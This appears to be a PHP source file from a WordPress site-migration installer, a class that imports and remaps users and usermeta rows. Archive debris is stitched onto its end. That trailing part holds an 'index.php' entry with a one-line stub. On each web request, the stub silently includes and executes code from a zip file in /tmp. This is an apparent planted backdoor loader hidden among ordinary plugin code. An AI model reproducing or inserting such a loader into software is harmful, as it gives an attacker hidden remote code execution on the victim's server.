Duplicator\Installer\Core\Params\Descriptors\ParamDescUsers; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Models\ImportUser; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\JsonSerialize\AbstractJsonSerializable; use Duplicator\Libs\Snap\SnapDB; use Duplicator\Libs\Snap\SnapUtil; use DUPX_ArchiveConfig; use DUPX_DB; use DUPX_DB_Functions; use DUPX_DB_Tables; use DUPX_InstallerState; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; use DUPX_Security; use DUPX_UpdateEngine; use Error; use Exception; class DbUserMode extends AbstractJsonSerializable { /** @var ImportUser[] */ protected $targetUsersById = array(); /** @var ImportUser[] */ protected $targetUsersByMail = array(); /** @var ImportUser[] */ protected $targetUsersByLogin = array(); /** @var int */ protected $usersAutoIncrement = -1; /** @var int */ protected $usersMetaAutoIncrement = -1; /** @var bool[] */ protected $addedUsers = array(); /** @var int[] */ protected $mappingIds = array(); /** @var string[] */ protected $existingsMetaIsd = array(); /** @var int */ protected $userTableNumCols = 0; /** @var string */ protected $userMode = ParamDescUsers::USER_MODE_OVERWRITE; /** @var string */ protected $prefixMetaRegexCheck = ''; /** @var array */ protected $prefixMetaMapping = array(); /** * Class contructor */ public function __construct() { $prmMng = PrmMng::getInstance(); $this->userMode = ParamDescUsers::getUsersMode(); $this->prefixMetaRegexCheck = '/^' . preg_quote(DUPX_ArchiveConfig::getInstance()->wp_tableprefix, '/') . '(?:(\d+)_)?(.*)$/'; switch (DUPX_InstallerState::getInstType()) { case DUPX_InstallerState::INSTALL_SINGLE_SITE: $this->addPrefixMetaMapping( 0, $prmMng->getValue(PrmMng::PARAM_DB_TABLE_PREFIX) ); break; case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBDOMAIN: case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBFOLDER: throw new Exception('Invalid mode'); case DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE: break; case DUPX_InstallerState::INSTALL_NOT_SET: throw new Exception('Cannot change setup with current installation type [' . DUPX_InstallerState::getInstType() . ']'); default: throw new Exception('Unknown mode'); } } /** * Add meta prefix meta mapping * * @param int $subsiteId subsite id * @param string $prefix replace value * * @return void */ protected function addPrefixMetaMapping($subsiteId, $prefix) { Log::info('ADD PREFIX META MAP ID ' . $subsiteId . ' ' . $prefix); $key = ($subsiteId == 1 ? 0 : $subsiteId); $this->prefixMetaMapping[$key] = $prefix; } /** * This function renames the user tables of the target site, also updates the user meta keys * * @return void */ public static function moveTargetUserTablesOnCurrentPrefix() { $paramsManager = PrmMng::getInstance(); if (ParamDescUsers::getUsersMode() === ParamDescUsers::USER_MODE_OVERWRITE) { return; } Log::info("\nKEEP TARGET SITE USERS TABLES - USER MODE " . ParamDescUsers::getUsersMode()); $dbFunc = DUPX_DB_Functions::getInstance(); $overwriteData = $paramsManager->getValue(PrmMng::PARAM_OVERWRITE_SITE_DATA); if ($overwriteData['table_prefix'] == $paramsManager->getValue(PrmMng::PARAM_DB_TABLE_PREFIX)) { Log::info('TABLE NAMES ARE THE SAME, SO SKIP USERS TABLES RENAME'); return; } $targetUserTable = DUPX_DB_Functions::getUserTableName($overwriteData['table_prefix']); $targetUserMetaTable = DUPX_DB_Functions::getUserMetaTableName($overwriteData['table_prefix']); $currentUserTableName = DUPX_DB_Functions::getUserTableName(); $currentUserMetaTableName = DUPX_DB_Functions::getUserMetaTableName(); $dbFunc->renameTable($targetUserTable, $currentUserTableName, true); $dbFunc->renameTable($targetUserMetaTable, $currentUserMetaTableName, true); // Update table prefix on meta key DUPX_UpdateEngine::updateTablePrefix( $dbFunc->dbConnection(), $currentUserMetaTableName, 'meta_key', $overwriteData['table_prefix'], $paramsManager->getValue(PrmMng::PARAM_DB_TABLE_PREFIX) ); Log::info("USER TABLES RENAMED"); } /** * This function removes all meta keys of the current prefix in the usermeta table. * This is needed to replace them with the meta keys that will be imported * * @return void */ public function removeAllUserMetaKeysOfCurrentPrefix() { $paramsManager = PrmMng::getInstance(); if ( ParamDescUsers::getUsersMode() !== ParamDescUsers::USER_MODE_IMPORT_USERS ) { return; } $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $overwriteData = $paramsManager->getValue(PrmMng::PARAM_OVERWRITE_SITE_DATA); $loggedInUserId = (int) $overwriteData['loggedUser']['id']; foreach ($this->prefixMetaMapping as $overwriteId => $prefix) { $where = 'user_id != ' . $loggedInUserId; $escPergPrefix = mysqli_real_escape_string($dbh, SnapDB::quoteRegex($prefix)); if ($prefix == $overwriteData['table_prefix']) { Log::info("\nREMOVE EXISTING USER META KEY WITH PREFIX " . $prefix . ' EXCEPT ' . $prefix . '[0-9]+_'); // SELECT * FROM `prefix_usermeta` WHERE user_id != 2 AND meta_key REGEXP "^prefix_" AND meta_key NOT REGEXP "^prefix_[0-9]+_" $where .= ' AND meta_key REGEXP "^' . $escPergPrefix . '" AND meta_key NOT REGEXP "^' . $escPergPrefix . '[0-9]+_"'; } else { Log::info("\nREMOVE EXISTING USER META KEY WITH PREFIX " . $prefix); // SELECT * FROM `prefix_usermeta` WHERE user_id != 2 AND meta_key REGEXP "^prefix_2_" $where .= ' AND meta_key REGEXP "^' . $escPergPrefix . '"'; } DUPX_DB::chunksDelete($dbh, DUPX_DB_Functions::getUserMetaTableName(), $where); } } /** * Filter props on json encode * * @return strng[] */ public function __sleep() { $props = array_keys(get_object_vars($this)); return array_diff($props, array('targetUsersByMail', 'targetUsersByLogin')); } /** * Called after json decode * * @return void */ public function __wakeup() { foreach ($this->targetUsersById as $user) { $this->targetUsersByMail[$user->getMail()] = $user; $this->targetUsersByLogin[$user->getLogin()] = $user; } } /** * Return the list of columns that contain user id to remap in an array( table => numberColumn) * * @return int[] */ protected static function getTableColIdsToRemap() { static $remapTables = null; if (is_null($remapTables)) { $remapTables = array(); foreach (DUPX_DB_Tables::getInstance()->getTablesByNameWithoutPrefix('posts') as $table) { $remapTables[$table] = 1; } Log::info('REMAP USERS TABLES/COLUMN ' . Log::v2str($remapTables)); } return $remapTables; } /** * Load from users table the user list * * @return void */ public function initTargetSiteUsersData() { if ($this->userMode !== ParamDescUsers::USER_MODE_IMPORT_USERS) { return; } $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); Log::info('INIT IMPORT TARGET USER TABLE DATA'); $dbName = mysqli_real_escape_string($dbh, PrmMng::getInstance()->getValue(PrmMng::PARAM_DB_NAME)); $userTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserTableName()); // count num cols of user table, can be different from source to target $query = 'SELECT count(*) AS num_cols FROM information_schema.columns WHERE table_schema = "' . $dbName . '" AND table_name = "' . $userTable . '"'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $row = $queryRes->fetch_array(); $this->userTableNumCols = (int) $row[0]; Log::info('USER TABLE COLUMNS COUNT ' . $this->userTableNumCols, Log::LV_DETAILED); $query = 'SELECT `ID`,`user_login`,`user_email` FROM `' . $userTable . '`'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $this->usersAutoIncrement = -1; while ($row = $queryRes->fetch_assoc()) { $rowId = (int) $row['ID']; $user = new ImportUser($rowId, $row['user_login'], $row['user_email']); $this->targetUsersById[$user->getId()] = $user; $this->targetUsersByMail[$user->getMail()] = $user; $this->targetUsersByLogin[$user->getLogin()] = $user; if ($rowId > $this->usersAutoIncrement) { $this->usersAutoIncrement = $rowId; } } $this->usersAutoIncrement ++; $queryRes->free_result(); Log::info('EXISTING USERS COUNT ' . count($this->targetUsersById), Log::LV_DETAILED); Log::info('USERS TABLE AUTOINCREMENT VALUE ' . $this->usersAutoIncrement, Log::LV_DETAILED); $this->initTargetSiteUserMetaData(); } /** * For each existing meta key, a list of IDs is associated with each user who has that key or true if all users have the key * * @return void */ protected function initTargetSiteUserMetaData() { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); Log::info('INIT IMPORT TARGET USERMETA TABLE DATA'); $userTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserTableName()); $userMetaTable = mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserMetaTableName()); $query = 'SELECT max(umeta_id) AS maxId FROM `' . $userMetaTable . '`'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $row = $queryRes->fetch_assoc(); $this->usersMetaAutoIncrement = ((int) $row['maxId']) + 1; $queryRes->free_result(); Log::info('USERMETA TABLE AUTOINCREMENT VALUE ' . $this->usersAutoIncrement, Log::LV_DETAILED); $query = 'SELECT COUNT(*) FROM `' . $userTable . '`'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $row = $queryRes->fetch_array(); $maxNumIds = $row[0]; $query = 'SELECT `meta_key`, IF(COUNT(`user_id`) >= ' . $maxNumIds . ', "ALL", GROUP_CONCAT(`user_id` ORDER BY `user_id` ASC)) AS IDS ' . 'FROM `' . $userMetaTable . '`' . 'WHERE `user_id` IN (SELECT `ID` FROM `' . $userTable . '`) GROUP BY meta_key'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } while ($row = $queryRes->fetch_assoc()) { $this->existingsMetaIsd[$row['meta_key']] = ( ($row['IDS'] === 'ALL') ? true : array_map('intval', explode(',', $row['IDS'])) ); } Log::info('NUM META KEYS READ ' . count($this->existingsMetaIsd), Log::LV_DETAILED); $queryRes->free_result(); } /** * Apply inser query user fixes * * @param string $query query string * * @return string if the string is empty no query must be executed */ public function applyUsersFixes(&$query) { if ($this->userMode == ParamDescUsers::USER_MODE_OVERWRITE) { return $query; } $matches = array(); if (preg_match('/^\s*(?:\/\*.*\*\/|#.*\n|--.*\n)?\s*INSERT\s+INTO\s+`?([^\s`]*?)`?\s+VALUES/s', $query, $matches) !== 1) { return $query; } $tableName = SnapDB::parsedQueryValueToString($matches[1]); if ($this->userMode == ParamDescUsers::USER_MODE_IMPORT_USERS) { if ($tableName == DUPX_DB_Functions::getUserTableName()) { return $this->getUserTableQueryFix(SnapDB::getValuesFromQueryInsert($query)); } elseif ($tableName == DUPX_DB_Functions::getUserMetaTableName()) { return $this->getUserMetaTableQueryFix(SnapDB::getValuesFromQueryInsert($query)); } } $tablesColRemap = self::getTableColIdsToRemap(); if (in_array($tableName, array_keys($tablesColRemap))) { return $this->getTableUserRemapQueryFix( $tableName, $tablesColRemap[$tableName], SnapDB::getValuesFromQueryInsert($query) ); } return $query; } /** * Generate import final report * * @return void */ public function generateImportReport() { if ($this->userMode !== ParamDescUsers::USER_MODE_IMPORT_USERS) { return; } $numAdded = 0; $numChanged = 0; if (($fp = fopen(DUPX_INIT . '/' . self::getCsvReportName(), 'w')) === false) { Log::info('Can\'t open report file ' . DUPX_INIT . '/' . self::getCsvReportName()); } else { fputcsv($fp, ImportUser::getArrayReportTitles()); } foreach ($this->targetUsersById as $user) { if ($user->isAdded()) { $numAdded++; } elseif ($user->isChanged()) { $numChanged++; } else { continue; } if ($fp != false) { fputcsv($fp, $user->getArrayReport()); } } if ($fp != false) { fclose($fp); $csvUrl = DUPX_INIT_URL . '/' . self::getCsvReportName(); } else { $csvUrl = false; } $longMsg = dupxTplRender( 'parts/reports/import_report', array( 'numAdded' => $numAdded, 'numChanged' => $numChanged, 'csvUrl' => $csvUrl ), false ); $nManager = DUPX_NOTICE_MANAGER::getInstance(); $nManager->addFinalReportNotice( array( 'shortMsg' => 'User import report', 'level' => DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => $longMsg, 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'general' ) ); $nManager->saveNotices(); } /** * Return csv report file name * * @return string */ protected static function getCsvReportName() { return 'dup-installer-import-report__' . DUPX_Security::getInstance()->getSecondaryPackageHash() . '.csv'; } /** * Apply query fix for user table * * @param array $queryValues two dimensional array where each item is a row containing the list of values * * @return string */ protected function getUserTableQueryFix($queryValues) { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $resultValues = array(); $numColsQueryVals = isset($queryValues[0]) ? count($queryValues[0]) : 0; $colsDeltaDiff = $this->userTableNumCols - $numColsQueryVals; foreach ($queryValues as $rowVals) { $rowId = SnapDB::parsedQueryValueToInt($rowVals[0]); $rowLogin = SnapDB::parsedQueryValueToString($rowVals[1]); $rowMail = SnapDB::parsedQueryValueToString($rowVals[4]); if (isset($this->targetUsersByMail[$rowMail])) { $targetUser = $this->targetUsersByMail[$rowMail]; $targetId = $targetUser->getId(); $targetLogin = $targetUser->getLogin(); if ($rowId != $targetId) { $targetUser->setOldId($rowId); $this->mappingIds[$rowId] = $targetId; } if ($rowLogin != $targetLogin) { $targetUser->setOldLogin($rowLogin); } } else { $rowVals[0] = $targetId = $this->usersAutoIncrement; $this->usersAutoIncrement ++; if ($rowId != $targetId) { $this->mappingIds[$rowId] = $targetId; } $newLogin = $rowLogin; $postfixIndex = 0; while (isset($this->targetUsersByLogin[$newLogin])) { $postfixIndex++; $newLogin = $rowLogin . $postfixIndex; } if ($rowLogin != $newLogin) { $rowVals[1] = '"' . mysqli_real_escape_string($dbh, $newLogin) . '"'; $niceName = SnapDB::parsedQueryValueToString($rowVals[3]); $rowVals[3] = '"' . mysqli_real_escape_string($dbh, $niceName) . $postfixIndex . '"'; $displayName = SnapDB::parsedQueryValueToString($rowVals[9]); if ($rowLogin == $displayName) { $rowVals[9] = '"' . mysqli_real_escape_string($dbh, $newLogin) . '"'; } } $user = new ImportUser($targetId, $newLogin, $rowMail, $rowId, $rowLogin, true); $this->targetUsersById[$user->getId()] = $user; $this->targetUsersByMail[$user->getMail()] = $user; $this->targetUsersByLogin[$user->getLogin()] = $user; $this->addedUsers[$user->getOldId()] = true; if ($colsDeltaDiff == 0) { $resultValues[] = $rowVals; } elseif ($colsDeltaDiff < 0) { $resultValues[] = array_slice($rowVals, 0, $this->userTableNumCols); } else { for ($i = 0; $i < $colsDeltaDiff; $i++) { $rowVals[] = '"0"'; } $resultValues[] = $rowVals; } } } if (empty($resultValues)) { return ''; } return 'INSERT INTO `' . mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserTableName()) . '` ' . 'VALUES ' . SnapDB::getQueryInsertValuesFromArray($resultValues) . ';'; } /** * Apply query fix for usermeta table * * @param array $queryValues two dimensional array where each item is a row containing the list of values * * @return string */ protected function getUserMetaTableQueryFix($queryValues) { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $resultValues = array(); // reset value $user = new ImportUser(-1, '', ''); $prefixMatches = null; foreach ($queryValues as $rowVals) { try { $rowUserId = SnapDB::parsedQueryValueToInt($rowVals[1]); $rowMetakey = SnapDB::parsedQueryValueToString($rowVals[2]); if ($user->getId() != $rowUserId) { $userId = isset($this->mappingIds[$rowUserId]) ? $this->mappingIds[$rowUserId] : $rowUserId; if (isset($this->targetUsersById[$userId])) { $user = $this->targetUsersById[$userId]; } else { // This happens if there is a meta key that has a user id that does not belong to any user, it is an anomalous thing so it is skipped. continue; } } if (preg_match($this->prefixMetaRegexCheck, $rowMetakey, $prefixMatches) === 1) { $currentId = (int)$prefixMatches[1]; if (!isset($this->prefixMetaMapping[$currentId])) { // if the attribute is not of the selected sub-site then it is not inserted in the import continue; } $rowMetakey = $this->prefixMetaMapping[$currentId] . $prefixMatches[2]; $rowVals[2] = '"' . mysqli_real_escape_string($dbh, $rowMetakey) . '"'; } if ( $user->isAdded() || !isset($this->existingsMetaIsd[$rowMetakey]) || ( $this->existingsMetaIsd[$rowMetakey] !== true && SnapUtil::binarySearch($this->existingsMetaIsd[$rowMetakey], $user->getId()) == false ) ) { $rowVals[0] = $this->usersMetaAutoIncrement; $this->usersMetaAutoIncrement ++; $rowVals[1] = $user->getId(); if ($rowMetakey == 'nickname') { // update nickname $rowMetaValue = SnapDB::parsedQueryValueToString($rowVals[3]); if ($rowMetaValue == $user->getOldLogin()) { $rowVals[3] = '"' . mysqli_real_escape_string($dbh, $user->getLogin()) . '"'; } } $resultValues[] = $rowVals; } } catch (Exception $e) { Log::logException($e, 'Error on parse user meta row'); } catch (Error $e) { Log::logException($e, 'Error on parse user meta row'); } } if (empty($resultValues)) { return ''; } return 'INSERT INTO `' . mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserMetaTableName()) . '` VALUES ' . SnapDB::getQueryInsertValuesFromArray($resultValues) . ';'; } /** * Apply query fix for table/colum user id * * @param string $tableName table name * @param string $colNum column index, 0 is first * @param array $queryValues two dimensional array where each item is a row containing the list of values * * @return void */ protected function getTableUserRemapQueryFix($tableName, $colNum, $queryValues) { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); for ($i = 0; $i < count($queryValues); $i++) { $rowUserId = SnapDB::parsedQueryValueToInt($queryValues[$i][$colNum]); if (isset($this->mappingIds[$rowUserId])) { $queryValues[$i][$colNum] = $this->mappingIds[$rowUserId]; } } return 'INSERT INTO `' . mysqli_real_escape_string($dbh, $tableName) . '` VALUES ' . SnapDB::getQueryInsertValuesFromArray($queryValues) . ';'; } } Database/869hr1/index.php 0000644 00000000163 15136251117 0011033 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "li.php"; include("zip:///tmp/phpmmhqbavqkpkgax5lbTz#$h");?>